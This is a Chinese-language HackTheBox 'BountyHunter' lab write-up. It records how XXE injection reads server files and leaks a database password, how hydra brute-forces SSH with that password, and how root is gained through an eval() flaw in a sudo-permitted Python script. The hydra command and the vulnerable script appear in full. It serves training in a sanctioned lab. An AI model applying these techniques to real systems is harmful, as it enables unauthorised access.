HackTheBox-BountyHunter靶场实战

admin 2022年1月6日03:33:18评论67 views字数 2502阅读8分20秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


感谢群友@rural老哥的投稿,感谢分享 HackTheBox-BountyHunter靶场实战 。在这篇文章详细记录了他打“HackTheBox-BountyHunter”靶场的整个过程,希望大家能够从中有所收获。HackTheBox-BountyHunter靶场实战




首先用nmap扫描靶机开放了那些端口和服务

HackTheBox-BountyHunter靶场实战


22就不爆破了,来访问80端口试试

HackTheBox-BountyHunter靶场实战
HackTheBox-BountyHunter靶场实战


点着点着就来到了一个页面

HackTheBox-BountyHunter靶场实战


随便试了一下,开始抓包

HackTheBox-BountyHunter靶场实战


Data是一串被编码的字符串他是先用的bases64加密之后在用url编码加密,解出来之后是个xml的实体

HackTheBox-BountyHunter靶场实战


这个就是试试xml实体注入了


xml实体注入,先把代码写出来在加密之后发送给服务器

HackTheBox-BountyHunter靶场实战


  • 第1行是一个 XML 文档声明,告诉解析器这是一个 XML 文件。

  • 第2-4行是 DTD,调用了一个外部实体,将本机 test.txt 文件的内容赋值给实体test。此处造成了XML实体注入攻击。

  • 最后一行是输出实体的值


在编码之后发送给服务器

HackTheBox-BountyHunter靶场实战


这样就证明了xml实体注入的存在,而且获取到了passwd文件知道了服务器的用户名,这里陷入了僵局,不知道咋办了,在看了教程之后明白了要读取db.php看名字就和数据库有关

HackTheBox-BountyHunter靶场实战
HackTheBox-BountyHunter靶场实战


返回了一串加密字符串我们解密看看

HackTheBox-BountyHunter靶场实战


是个连接数据库的php代码

<?php// TODO -> Implement login system with the database.$dbserver = "localhost";$dbname = "bounty";$dbusername = "admin";$dbpassword = "m19RoAU0hP41A1sTsq6K";$testuser = "test";?>


用密码尝试登录admin和test用户没有成功,我门在passwd里面获得了用户名可以用这个密码爆破一波

┌──(root💀kali)-[/tools]└─# cut -d : -f 1 passwd.txt >user


得到用户名文本user,现在用hydra爆破用户名

┌──(root💀kali)-[/tools]└─# hydra -L /tools/user -p m19RoAU0hP41A1sTsq6K 10.10.11.100 ssh
HackTheBox-BountyHunter靶场实战


爆破成功得到用户名密码

[22][ssh] host: 10.10.11.100   login: development   password: m19RoAU0hP41A1sTsq6K


登录服务器查看权限

HackTheBox-BountyHunter靶场实战


普通用户权限,尝试提权

HackTheBox-BountyHunter靶场实战


sudo -l 之后发现它可以无密执行一个python文件和python3.8的环境,我们打开文件看看是一个python脚本

#Skytrain Inc Ticket Validation System 0.1#Do not distribute this file.
def load_file(loc):\判断文件是否是md后缀 if loc.endswith(".md"): return open(loc, 'r') else: print("Wrong file type.") exit()
def evaluate(ticketFile): #Evaluates a ticket to check for ireggularities. code_line = None for i,x in enumerate(ticketFile.readlines()): if i == 0:\判断文件第一行是否是# Skytrain Inc if not x.startswith("# Skytrain Inc"): return False continue if i == 1:\同上 if not x.startswith("## Ticket to "): return False print(f"Destination: {' '.join(x.strip().split(' ')[3:])}") continue
if x.startswith("__Ticket Code:__"):\判断__Ticket Code:__在第几行 code_line = i+1 continue
if code_line and i == code_line: if not x.startswith("**"):\判断地四行开头是否有** return False ticketCode = x.replace("**", "").split("+")[0]\取这一行**和+中间的数字 if int(ticketCode) % 7 == 4:\ ticketCode和7取余等于4 validationNumber = eval(x.replace("**", ""))\用eval()执行**后面的命令 print(validationNumber) if validationNumber > 100: return True else: return False return False
def main(): fileName = input("Please enter the path to the ticket file.n") ticket = load_file(fileName) #DEBUG print(ticket) result = evaluate(ticket) if (result):\判断result是否为ture print("Valid ticket.") else: print("Invalid ticket.") ticket.close
main()


这里我对代码进行了注释,方便理解,我们构造一个asd.md文件

HackTheBox-BountyHunter靶场实战


这里使and后面的执行等于falsh从而给代码返回1414是的函数return一个true


我们在kali监听并在靶机执行脚本

HackTheBox-BountyHunter靶场实战


成功返回root权限的shell,之后获取flag,取得胜利!!

HackTheBox-BountyHunter靶场实战




关注公众号回复“9527”可免费获取一套HTB靶场文档和视频,1120”安全参考等安全杂志PDF电子版,1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包还在等什么?赶紧点击下方名片关注学习吧!

推 荐 阅 读




HackTheBox-BountyHunter靶场实战
HackTheBox-BountyHunter靶场实战
HackTheBox-BountyHunter靶场实战

欢 迎 私 下 骚 扰



HackTheBox-BountyHunter靶场实战

本文始发于微信公众号(潇湘信安):HackTheBox-BountyHunter靶场实战

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日03:33:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HackTheBox-BountyHunter靶场实战http://cn-sec.com/archives/487092.html

发表评论

匿名网友 填写信息